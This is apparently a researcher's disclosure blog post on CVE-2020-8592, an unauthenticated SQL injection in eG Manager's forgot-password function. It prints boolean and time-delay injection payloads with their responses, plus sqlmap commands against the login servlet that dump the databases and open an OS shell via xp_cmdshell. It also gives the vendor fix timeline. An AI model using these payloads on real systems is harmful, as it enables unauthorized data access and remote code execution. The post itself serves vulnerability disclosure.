eG Manager v7.1.2: SQL Injection lead to Remote Code Execution (CVE-2020-8592)

SQL Injection lead to Remote Code Execution (CVE-2020-8592)

In this blog post I will show how to exploit a SQL injection vulnerability in the popular java-based MaaS software "eG Manager" and how I can escalated it to execute code remotely.

Impact

The SQL injection vulnerability can be exploited as an unauthenticated attacker via forgot password function. An attacker is able to execute stacked SQL queries which means it is possible to manipulate arbitrary database entries and even execute shell commands.

Technical Analysis

eG Manager has a forgot password feature and then there was missing input validation function, e.g. If the Username specified is valid, then the password will be emailed to the user with the given Username. If not so, server shows 'username does not exist'. An attacker can exploit this feature by injecting stacked queries SQL syntax.

Exploiting SQL Injection to Remote Code Execution

In "Forgot Password" area, there is an input box to confirm user identity. If an administrator forgets the login Password, he/she can click on the Forgot Password link. Doing so invokes wherein the administrator would have to provide the Username for which the password details are required, and then click the Get password button to retrieve the password. 

So if user identify his/her username in forgot password area, "eG Manager" search username in database. if username exists, email will be send to valid mail that is assigned in database. I tested with Boolean based SQL queries

Request: user=admin' and 1=1--+-

Response: "You will receive your password by mail"

Request: admin' and 1=2--+-

Response: Username does not exist

I also tested with Stacked based SQL query

Request: test' ; WAITFOR DELAY '0:0:5'--

The server responded after 6 seconds delay.

For more exploitation steps, I've used Sqlmap. I've used following command to extract database.

/usr/bin/sqlmap -u "https://targetIP:7077/final/servlet/com.eg.LoginHelperServlet" --data="user=aa*" --dbms=mssql --technique=S --prefix="'" --suffix="--" --dbs -v 3

After sqlmap is executed, I've got all databases list . I can also be extracted all table, columns and etc...

Since, it was vulnerable for Stacked queries SQL injection, it is possible to get the target system.I can be used following SQLMAP command to get OS shell.

/usr/bin/sqlmap -u "https://targetIP:7077/final/servlet/com.eg.LoginHelperServlet" --data="user=aa*" --dbms=mssql --technique=S --prefix="'" --suffix="--" --os-shell -v 3

Time Line

Date            What

2020/01/23 Vulnerability reported to eG Innovations, Inc.

2020/01/28 Vendor addressed issue in 7.1.2

2020/01/29 Vendor fixed and notify their customers.

Summary

In this post I analyzed a stacked queries SQL injection vulnerability in "eG Manager v7.1.2" which can be triggered through a JSP file. An attacker needs to know users' name and then can inject arbitrary SQL commands. I found that it is possible to leverage the issue into Remote Code Execution if the "eG Manager" enabled the xp_cmdshell option. However, if other databases are used Remote Code Execution might be still possible. I would like to thank the "eG Innovations, Inc" security team for the professional communication and for the very fast resolution of the issue.